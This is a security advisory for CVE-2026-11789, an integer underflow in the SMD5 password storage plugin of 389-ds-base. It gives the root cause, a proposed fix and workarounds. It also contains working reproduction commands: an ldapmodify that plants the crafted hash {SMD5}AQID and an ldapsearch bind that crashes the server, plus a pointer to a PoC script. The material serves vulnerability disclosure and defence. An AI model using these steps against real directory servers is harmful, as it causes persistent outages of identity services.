// Moderate (4.9)
CVE-2026-11789

SMD5 password storage plugin salt length integer underflow crash

CVE ID
CVE-2026-11789
Product
389-ds-base
Severity
Moderate (4.9)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE
CWE-191
Red Hat CVE
Red Hat CVE page

Summary

The smd5_pw_cmp() function in the SMD5 password storage plugin computes the salt length by subtracting MD5_LENGTH (16) from the decoded hash length using unsigned 32-bit arithmetic. When the hash is shorter than 16 bytes, the subtraction wraps to ~4.3GB. PK11_DigestOp() then reads 4GB from a 21-byte stack buffer, immediately hitting unmapped memory and crashing the server with SIGSEGV.

The attack pattern requires an attacker with Directory Manager privileges (or nsslapd-allow-hashed-passwords enabled) to store a crafted password hash. Any subsequent LDAP BIND as the poisoned account triggers the crash. The crafted hash persists in the database and re-triggers on every bind attempt until an administrator manually fixes the entry, resulting in persistent denial of service.

This is a missed variant of CVE-2024-5953 — that fix (commit 9e6cefb) patched md5_pwd.c and pbkdf2_pwd.c but did not touch smd5_pwd.c.

Affected Versions

The smd5_pw_cmp() function has existed since 2005 (file copyright header). The missing lower bound check has been present for the entire lifetime of this code. The last modification to smd5_pwd.c was a clang-format cleanup in 2017 (commit dda766a). CVE-2024-5953 (commit 9e6cefb, June 2024) patched md5_pwd.c and pbkdf2_pwd.c but did not touch this file.

PackageStatus
389-ds-base (upstream)All versions through 3.2.0-dev (since 2005)
389-ds-base (Fedora 42)3.1.4-6.fc42 — Confirmed vulnerable (PoC crash)
RHEL 7389-ds-base-1.3.x — Vulnerable (code present)
RHEL 8389-ds-base-1.4.x — Vulnerable (code present)
RHEL 9389-ds-base-2.x — Vulnerable (code present)
RHEL 10389-ds-base-3.x — Vulnerable (code present)

Affected Products

ProductVersion389-ds-base versionStatusVerification
389 Directory Server (upstream)AllAllAffectedsmd5_pwd.c has existed since 2005. Bug present in current main branch.
Red Hat Directory Server 1010.x1.3.xAffectedRHDS 10 = 389-ds-base 1.3.x on RHEL 7. SMD5 present since file creation.
Red Hat Directory Server 1111.x1.4.xAffectedRHDS 11 = 389-ds-base 1.4.x on RHEL 8. Vulnerability present.
Red Hat Directory Server 1212.0-12.72.0.x-2.7.xAffectedRHDS 12 = 389-ds-base 2.x on RHEL 9. Vulnerability present.
Red Hat Directory Server 1313.0-13.13.xAffectedRHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected.
RHEL 7 (IdM/FreeIPA)7.0-7.91.3.xAffectedSMD5 present since initial file.
RHEL 8 (IdM/FreeIPA)8.0-8.101.4.xAffectedCVE-2024-5953 fix patched md5_pwd.c/pbkdf2_pwd.c but not smd5_pwd.c.
RHEL 9 (IdM/FreeIPA)9.0-9.62.0.x-2.6.xAffectedCVE-2024-5953 fix did not address this vulnerability.
RHEL 10 (IdM/FreeIPA)10.0-10.13.xAffectedCVE-2024-5953 fix did not address this vulnerability.
FedoraAll releases1.3.x through 3.xAffectedTested: Fedora 42 with 389-ds-base-3.1.4-6.fc42 — PoC confirmed.
CentOS / CentOS Stream7, 8, 9, 10Matches RHELAffectedCentOS/Stream tracks RHEL.

Verification method: smd5_pwd.c was not modified by commit 9e6cefb (CVE-2024-5953 fix). The vulnerable subtraction at line 74 is unchanged since 2017 (clang-format) and functionally unchanged since 2005.

Architecture

The vulnerability is a pure logic bug with no dependence on architecture.

ArchitectureStatus
x86_64Confirmed: Instant SIGSEGV crash (Fedora 42)
aarch64Untested (architecture-independent logic)
s390xUntested
ppc64leUntested

The integer underflow arithmetic is identical on all architectures.

Root Cause

File: ldap/servers/plugins/pwdstorage/smd5_pwd.c Function: smd5_pw_cmp() Line: 74

// No guard -- compare with sha_pwd.c:105 which has: if (hash_len >= shaLen)
salt.bv_val = (void *)(dbhash + MD5_LENGTH);
salt.bv_len = hash_len - MD5_LENGTH;   // PRUint32 underflow when hash_len < 16

CVE-2024-5953 (commit 9e6cefb) patched the equivalent code in md5_pwd.c and pbkdf2_pwd.c but did not touch smd5_pwd.c. The sha_pwd.c file was already safe (guard at line 105). The smd5_pwd.c file was the only password storage plugin left without the guard.

Proposed Fix

/* BEFORE (vulnerable): */
salt.bv_val = (void *)(dbhash + MD5_LENGTH);
salt.bv_len = hash_len - MD5_LENGTH;   // underflow when hash_len < 16

/* AFTER (fixed): */
if (hash_len < MD5_LENGTH) {
    slapi_log_err(SLAPI_LOG_PLUGIN, SALTED_MD5_SUBSYSTEM_NAME,
                  "smd5_pw_cmp: decoded hash length (%u) shorter than "
                  "MD5 digest (%d), rejecting\n",
                  hash_len, MD5_LENGTH);
    goto loser;
}
salt.bv_val = (void *)(dbhash + MD5_LENGTH);
salt.bv_len = hash_len - MD5_LENGTH;

This follows the exact pattern used in sha_pwd.c line 105 (if (hash_len >= shaLen)).

Proof of Concept

PoC source code: CVE-2026-11789 on GitHub

The poc/ directory contains the PoC script:

Quick Manual Reproduction

Prerequisites: A 389 Directory Server instance, Directory Manager credentials (or nsslapd-allow-hashed-passwords: on), and a test user account.

System tested: 389-ds-base-3.1.4-6.fc42.x86_64, Fedora 42 container.

  1. Note the current PID:

    pidof ns-slapd
  2. Plant a crafted {SMD5} hash with a 3-byte decoded payload:

    ldapmodify -H ldapi:// -Y EXTERNAL <<EOF
    dn: uid=testuser,dc=test,dc=com
    changetype: modify
    replace: userPassword
    userPassword: {SMD5}AQID
    EOF
  3. Trigger the crash:

    ldapsearch -x -H ldap://localhost:389 -D "uid=testuser,dc=test,dc=com" \
        -w "anypassword" -b "" -s base "(objectclass=*)"
  4. Expected result: ldap_result: Can't contact LDAP server (-1). Server has crashed. Verify:

    dmesg | tail -1
    # Expected: ns-slapd[PID]: segfault ... in libfreeblpriv3.so

Crafted Hash Details

Crafted hash: {SMD5}AQID

  • Base64-decodes to 3 bytes: 0x01 0x02 0x03
  • hash_len = 3
  • salt.bv_len = 3 - 16 = 0xFFFFFFF3 (unsigned underflow, ~4.3GB)
  • PK11_DigestOp(ctx, salt.bv_val, 0xFFFFFFF3) reads from dbhash + 16 (past end of 21-byte stack buffer)
  • Immediate SIGSEGV in libfreeblpriv3.so

Result: Server crashes instantly. Crash trace shows segfault in libfreeblpriv3.so (NSS FREEBL crypto module). The crafted hash persists in the database — every restart + bind crashes again.

PoC Script Usage

python3 poc/013-smd5-salt-underflow-crash.py <ldap_uri> <target_dn>

WARNING: This will crash the 389-ds-base server process.

Impact

CVSS 3.1: 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

ComponentValueJustification
AVNetworkTriggered via LDAP BIND (ports 389/636)
ACLowDeterministic — 3-byte payload is sufficient
PRHighRequires DM or nsslapd-allow-hashed-passwords
UINoneAny bind to the poisoned account triggers it
SUnchangedImpact limited to the LDAP process
CNoneOOB read faults immediately — no data exfiltration possible
INoneRead overflow only
AHighInstant server crash; persistent (re-triggers on every restart + bind)

Poisoned accounts crash the server instantly on bind. The crafted hash persists in the database, so every restart + bind crashes again. An attacker who poisons multiple accounts creates a scenario where normal operations keep triggering crashes. Recovery requires offline database editing (dbscan/LDIF export) to remove the poisoned hashes.

Downstream services affected: FreeIPA/IdM, Dogtag Certificate System, SSSD, Kerberos KDC. However, the PR:H prerequisite significantly reduces the likelihood of exploitation compared to unauthenticated or low-privilege attack vectors.

Comparable CVEs

CVESoftwareBug classCVSSComparison
CVE-2024-5953389-ds-baseMalformed userPassword hash DoSModerateDirect predecessor — this vulnerability is a missed variant of that CVE.
CVE-2024-2199389-ds-baseDoS via malformed userPasswordModerateSimilar: crafted password hash causes DoS. Same PR:H prerequisite.

Workaround

  1. Disable nsslapd-allow-hashed-passwords (default: off). This prevents non-DM users from setting pre-hashed passwords. DM credential compromise is still a risk.

  2. Restrict Directory Manager credentials. Use dedicated DM accounts with strong passwords. Limit DM access to management networks. Audit DM operations via nsslapd-auditlog.

  3. Monitor for suspicious userPassword modifications. Enable audit logging (nsslapd-auditlog-logging-enabled: on) and alert on userPassword changes containing unusual hash schemes or large base64 payloads.

  4. Migrate stored passwords from {SMD5} to {PBKDF2_SHA256} (recommended regardless — MD5 is cryptographically broken for password storage). This eliminates the vulnerable code path for existing accounts.

Exploitation in the Wild

No evidence of exploitation in the wild was found.

SourceQuery / MethodResult
NVD / CVE databaseSearch for smd5, integer underflow in 389-ds-baseNo matching CVE beyond CVE-2024-5953 (sibling fix).
GitHub 389-ds-base issuesSearch for smd5_pw_cmp, integer underflowNo security reports for this function.
Red Hat BugzillaSearch for SMD5 underflow in 389-ds-baseBug 2292104 (CVE-2024-5953) addresses related but different issues.
oss-security mailing listSearch for 389-ds-base password storage plugin vulnerabilitiesNo matching reports beyond CVE-2024-5953.

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
TBDPatch released
TBDPublic disclosure

References

  • Red Hat CVE page
  • NVD
  • CVE-2024-5953: 389-ds-base malformed userPassword hash DoS. Fixed by commit 9e6cefb. This vulnerability is a missed variant (patched md5_pwd.c/pbkdf2_pwd.c but not smd5_pwd.c).
  • CVE-2024-2199: 389-ds-base DoS via malformed userPassword. Similar attack pattern (crafted hash, PR:H).
  • Commit 9e6cefb1f37740f3ce180f272ee0653d65b878d9: CVE-2024-5953 fix. Added length validation to md5_pwd.c and pbkdf2_pwd.c. Did NOT modify smd5_pwd.c or add iteration count bounds.
  • Commit dda766a: Last modification to smd5_pwd.c (clang-format cleanup, 2017).
  • Bug 2292104: Red Hat Bugzilla for CVE-2024-5953.
  • CWE-191: Integer Underflow (Wrap or Wraparound)
  • CWE-125: Out-of-bounds Read (secondary)

Credits

Discovered by Ian Murphy